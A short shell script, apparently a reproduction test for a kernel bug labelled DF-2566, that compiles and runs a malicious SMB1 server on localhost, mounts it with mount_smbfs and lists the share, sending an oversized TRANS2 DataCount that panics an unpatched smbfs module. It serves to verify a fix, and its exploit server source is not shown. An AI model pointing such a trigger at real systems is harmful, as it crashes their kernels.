#!/bin/sh
# DF-2566 run: start the malicious SMB1 server and mount_smbfs to it, then
# list the share to trigger a TRANS2 (FIND_FIRST2).  On the UNPATCHED smbfs
# module the oversized TRANS2 DataCount corrupts the mbuf m_len in
# smb_t2_placedata -> 'panic: overflowed mbuf'.  On a FIXED module the
# count>len check returns EBADRPC and the ls just fails (no panic).
#
# Must run as root on the guest (needs port 139 + mount_smbfs).
set +e
cd "$(dirname "$0")"
[ -x ./smb_evil ] || cc -o smb_evil smb_evil.c

./smb_evil 139 >/tmp/srv2566.log 2>&1 &
SRVPID=$!
sleep 1
echo "malicious SMB1 server pid=$SRVPID on 127.0.0.1:139"
mkdir -p /mnt/s
echo "=== mount_smbfs (share-level NT LM 0.12, no password) ==="
mount_smbfs -N -I 127.0.0.1 //guest@127.0.0.1/share /mnt/s 2>&1
echo "MOUNT_RC=$?"
echo "=== ls /mnt/s -> triggers TRANS2 FIND_FIRST2 (oversized DataCount) ==="
ls -la /mnt/s 2>&1
echo "LS_RC=$?"
sleep 1
echo "=== server log ==="
cat /tmp/srv2566.log
umount /mnt/s 2>/dev/null
kill $SRVPID 2>/dev/null